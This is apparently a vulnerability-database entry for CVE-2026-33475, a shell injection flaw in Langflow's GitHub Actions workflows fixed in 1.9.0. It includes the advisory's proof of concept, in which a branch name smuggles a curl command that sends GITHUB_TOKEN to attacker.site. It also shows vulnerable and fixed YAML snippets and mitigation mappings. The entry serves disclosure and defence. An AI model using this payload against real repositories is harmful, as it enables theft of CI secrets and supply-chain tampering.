Raw vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:NSummary
CVE-2026-33475 is a critical-severity Injection (CWE-74) vulnerability in Langflow Langflow. Its CVSS base score is 9.1 (Critical).
Operationally, exploitation aligns with the MITRE ATT&CK technique Command and Scripting Interpreter (T1059); ranked in the top 14% of CVEs by exploit likelihood; it is not currently listed in the CISA KEV catalog; a public proof-of-concept is referenced.
This vulnerability is AI-related — categorised as LLM Application Platforms; in the Supply Chain and Deployment risk domain.
The strongest mitigations our analysis identified map to SA-11 (Developer Testing and Evaluation) and SI-10 (Information Input Validation) — see the control section below for these in your framework.
Deeper analysis AI-assisted summary
Synthesised by an AI model from the NVD description and linked references — a reading aid, not an authoritative source.
CVE-2026-33475 is an unauthenticated remote shell injection vulnerability in multiple GitHub Actions workflows within the Langflow repository, a tool for building and deploying AI-powered agents and workflows. The issue affects versions prior to 1.9.0 and stems from unsanitized interpolation of GitHub context variables, such as `${{ github.head_ref }}` or `${{ github.event.pull_request.head.ref }}`, directly into `run:` steps. This allows arbitrary shell command injection through user-controlled inputs like branch names, pull request titles, or custom inputs. Affected files include `.github/actions/install-playwright/action.yml`, `.github/workflows/deploy-docs-draft.yml`, `.github/workflows/docker-build.yml`, `.github/workflows/release_nightly.yml`, `.github/workflows/python_test.yml`, and `.github/workflows/typescript_test.yml`.
Any unauthenticated attacker can exploit this by forking a public Langflow repository with GitHub Actions enabled, creating a branch with a malicious name containing shell commands (e.g., `injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN`), and opening a pull request to the main branch. When the workflow triggers, such as `deploy-docs-draft.yml`, the injected commands execute with CI privileges, enabling full access to secrets like `GITHUB_TOKEN`, exfiltration of sensitive data, pushing malicious tags or images, tampering with releases, or broader supply chain compromise. The vulnerability has a CVSS score of 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) and maps to CWE-74 and CWE-78.
Langflow version 1.9.0 patches the vulnerability. The GitHub security advisory (GHSA-87cc-65ph-2j4w) recommends refactoring workflows to avoid direct interpolation of user-controlled GitHub context variables in `run:` steps, instead using environment variables wrapped in double quotes, such as `env: BRANCH_NAME: ${{ github.head_ref }}` followed by `run: echo "Branch is: \"$BRANCH_NAME\""` . This ensures proper sanitization and prevents command injection.
Langflow's focus on AI-powered agents and workflows gives this CI/CD vulnerability particular relevance to AI/ML supply chains, as compromises could propagate tainted artifacts into production AI deployments.
OWASP Top 10 for Web (2025)
EU & UK References
- 🇪🇺 ENISA EUVD: EUVD-2026-14790
Vulnerability Data
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{…
more
github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
- CWE(s)
AI Security AnalysisAI
- AI Category
- LLM Application Platforms
- Risk Domain
- Supply Chain and Deployment
- OWASP Top 10 for LLMs 2025
- None mapped
- Classification Reason
- Matched keywords: ai, langflow
Related Threats
MITRE ATT&CK Enterprise Techniques
CVEs Like This One
Affected Assets
Mitigating Controls
Control response
—
—
—
V1.2.1V1.2.3V1.2.5V1.2.8
Mitigating Controls (NIST 800-53 r5) AI
Developer testing and evaluation can discover missing or incorrect command sanitization during development.
SI-10 directly requires validation of information inputs to reject malformed or special-element content before it reaches downstream parsers.
Least privilege reduces the permissions available to any process that could be subverted by injected commands.
Least functionality restricts available OS commands and interpreters, limiting the blast radius of injection.
Secure engineering principles require proper neutralization of untrusted input before command construction.
Mitigating Controls (NIST CSF 2.0) AI
Derived directly from the weakness types (CWEs) cited in the NVD entry via our AI-authored CWE→CSF cross-walk (authority under review) — links open the control.
Secure SDLC practices directly require input validation and output encoding that prevent injection flaws.
Routine patching/maintenance can remediate known command-injection CVEs in dependencies (partial forward) but does nothing to stop developers from introducing improper neutralization in custom code (none reverse).
Mitigating Controls (ISO/IEC 27001:2022 Annex A) AI
Derived directly from the weakness types (CWEs) cited in the NVD entry via our AI-authored CWE→ISO cross-walk (authority under review) — links open the control.
Security testing in development catches injection vulnerabilities before release.
Logging supports detection of injection attempts but does not prevent the weakness.
Monitoring activities can identify active injection attacks after they occur.
Secure development life cycle mandates input validation and output encoding that directly prevent injection flaws.
Application security requirements explicitly call for controls against injection attacks in software design.
Secure architecture principles reduce injection surfaces but do not prescribe specific neutralization techniques.